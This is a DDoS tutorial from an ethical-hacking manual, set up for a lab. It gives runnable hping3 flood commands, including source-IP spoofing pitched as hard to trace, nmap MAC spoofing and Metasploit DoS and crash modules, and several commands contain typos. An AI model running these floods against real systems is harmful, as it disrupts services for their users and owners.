Ethical Hacking Practical manual

DDOS Attack

A **DDoS attack** (Distributed Denial of Service) is a type of cyber-attack where a hacker tries to make a website or online service stop working by sending a lot of traffic to it from many different computers at the same time. The attacker uses many computer systems and a **botnet** (a group of hacked computers) to send fake requests, so the target system becomes slow or crashes.

Breaking it down:

- **Denial of Service**: This means stopping users from using a website by making it crash or work very slowly.
- **Distributed**: This means the attack comes from many computers, not just one. These computers are usually hacked and the owners don't even know.

How a DDoS attack works:

1. The attacker gives commands to the botnet.
2. All the infected devices send fake requests to the website or server.
3. The server becomes too busy and can't serve real users.
4. The website either crashes or works super slowly.

Why do people do DDoS attacks?

- To shut down a website (like a rival company or a famous site).
- For protest or political reasons (called hacktivism).
- To distract from other cybercrimes.
- Sometimes just to show off or for fun.

Easy Example:

Think of your favorite café. Normally, people come, buy coffee, and leave. But suddenly, a huge crowd comes in just to stand there and block the way. They don't order anything, so real customers can't enter. The café gets stuck and can't work properly.
That's like a **DDoS attack**!

In Simple Words:

- A website is like your café.
- The hacker uses many hacked computers to flood the website with too many visitors.
- The website can't handle it and stops working for real users.

Why "Distributed"?

Because the attack comes from many different computers across the world, not just one place. That’s why it’s called a **Distributed** Denial of Service attack.

Here’s the command to do DDOS Attack

Open your Terminal in your Kali Linux machine.

- Sudo apt update & Sudo apt upgrade -y
- TCP SYN Flood
  A syn flood overwhelms the target with incomplete TCP handshakes command:
  Sudo hping3 -S -p 80 –flood [target IP]
- UDP Flood
  A UDP flood overloads the target with UDP packets.
  Sudo hping3 –UDP -p 53 –flood [target IP].
- Spoofed IP SYN Flood
  Using a spoofed source IP can make the attack harder to trace.
  Sudo hping3 -S -a [fake Ip] -p [port number] --flood [target IP]
  Sudo hping3 -S -a 192.168.1.100 -p 22 –flood 192.168.1.77
- MAC Spoof
  Sudo nmap –spoof -mac [mac address] [target Ip]
  Sudo nmap –spoof -mac 0 192.168.1.11
  Sudo nmao –spoof -mac cisco 192.168.1.77

  Metasploit DDoS Attack (Short Explanation):

  Metasploit itself is **not typically used for large-scale DDoS (Distributed Denial of Service) attacks**, as it's mainly a **penetration testing framework** used to find and exploit vulnerabilities.

  However, it can be used to **simulate or test DoS (Denial of Service)** attacks against a target using certain auxiliary or exploit modules.

  Key Points:
- **Metasploit** can run **DoS modules** that flood or crash a service by exploiting a vulnerability.
- These attacks are usually **limited in scale** and **used for testing** (not true DDoS).
- A **real DDoS** involves multiple systems (botnets) overwhelming a server — this requires more than just Metasploit.
- Example Metasploit command:
- Metasploit
  {Netdiscover -I eth0 -r IP[192.168.1.0/24]
  Nmap -p 21 target ip[192.168.1.10]} to check the victim IP and open port
  Sudo msfconsole
  Msf6 > Msfconsole
  Msf6 > Use auxiliary/dos/tcp/synflood
  Show option
  Msf6 > Use auxiliary(dos/tcp/synflood) > set rhost target ip[192.168.1.41]
  Msf6 > Use auxiliary(dos/tcp/synflood) > set rport 21

Msf6 > Use auxiliary(dos/tcp/synflood) > set shost unknown source IP that is not available. [192.168.1.254]

Msf6 > Use auxiliary(dos/tcp/synflood) exploit

⚠️ Important: Unauthorized DoS/DDoS attacks are illegal. Use tools like Metasploit **only in legal environments**, such as for ethical hacking or security testing with permission.

Awesome! Here's a **simple lab setup** and **practical example** of simulating a **DoS attack using Metasploit**, specifically a **SYN flood** — a classic DoS method.

⚙️ Lab Setup (for testing only!)

You need:

- **Kali Linux** (Attacker with Metasploit)
- **Metasploitable 2** (Target vulnerable machine, like a fake server)
- Both on the **same local network** or in **VirtualBox/VMware**

🧪 Practical Example: SYN Flood DoS using Metasploit

Step 1: Start Metasploit

```
msfconsole
```

Step 2: Use the SYN Flood Module

```
use auxiliary/dos/tcp/synflood
```

Step 3: Set Target Info

```
set RHOST [Target IP]
set RPORT [Port to attack, e.g., 80]
set INTERFACE [Your network interface, e.g., eth0 or wlan0]
```

💡 Tip: Run ifconfig to check your interface name.

Example:

```
set RHOST 192.168.1.105
set RPORT 80
set INTERFACE eth0
```

Step 4: Launch the Attack

```
run
```

📊 What Happens?

- The SYN flood sends a huge number of TCP connection requests.
- The target server gets overloaded with half-open connections.
- This can cause slowdowns or service disruption — especially if the server is weak.

⚠️ Ethical Warning:

Only run this in **test environments you own/control**. DoS attacks are **illegal** on real networks without permission.

Sweet! Let’s level it up. Here’s how you can simulate a **DDoS-style scenario** using **multiple VMs** and explore **other DoS modules** in Metasploit.

🧪 Part 1: Simulate a DDoS-Style Attack (Multi-VM Setup)

🔧 Setup:

1. **1 Target VM**: Metasploitable 2 (or another vulnerable server)
2. **2+ Attacker VMs**: Kali Linux (running Metasploit)

📡 All VMs should be on the same **virtual network** (e.g., in **Host-Only** or **NAT Network** mode in VirtualBox/VMware).

⚙️ Goal:

Each Kali VM launches a DoS attack on the same target. This mimics a **distributed** attack (DDoS).

🛠 Steps on Each Attacker VM:

1. **Open Metasploit**
2. msfconsole
3. **Use a DoS module (e.g., SYN flood)**
4. use auxiliary/dos/tcp/synflood
5. **Configure the attack**
6. set RHOST [Target IP]
7. set RPORT 80
8. set INTERFACE eth0 # or wlan0, depending on your setup
9. exploit

🔁 Repeat on the second attacker VM at the same time — now you’ve got a **basic DDoS simulation**!

💣 Other Metasploit DoS Modules

Here are a few interesting ones to try in your lab:

🔹 HTTP DoS (slow HTTP request)

use auxiliary/dos/http/slowloris

- Simulates a **slow connection attack** on web servers.
- Works well on Apache.

🔹 SMB DoS (Windows-specific)

use auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_func_index

- Targets vulnerable Windows SMB services (XP, Server 2008).
- Can **crash the system** if it’s vulnerable.

🔹 FTP DoS

use auxiliary/dos/windows/ftp/iis5_ftp

- Crashes vulnerable FTP services on IIS.

⚠️ **Important Reminders:**

- These are for **learning, lab testing, and ethical hacking** only.
- Never use these on public servers, websites, or anything without explicit permission.
- Even test networks should be isolated.